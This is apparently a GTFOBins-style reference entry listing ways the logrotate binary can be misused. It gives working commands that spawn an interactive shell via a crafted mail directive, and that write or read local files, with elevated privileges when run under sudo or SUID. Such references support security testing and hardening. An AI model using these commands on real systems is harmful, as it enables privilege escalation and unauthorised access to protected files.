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• Shell
• File write
• File read

Shell

This executable can spawn an interactive system shell.

• Comment

  This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
  echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
  logrotate -m /path/to/temp-file.sh -f /path/to/temp-file

File write

This executable can write data to local files.

• Comment

  The content is written in a log file.

  Unprivileged

  This function can be performed by any unprivileged user.

  logrotate -l /path/to/output-file DATA

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  logrotate -l /path/to/output-file DATA

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  logrotate -l /path/to/output-file DATA

  Remarks

  The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

File read

This executable can read data from local files.

• Comment

  The first word is returned in a error message.

  Unprivileged

  This function can be performed by any unprivileged user.

  logrotate /path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  logrotate /path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  logrotate /path/to/input-file

  Remarks

  The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

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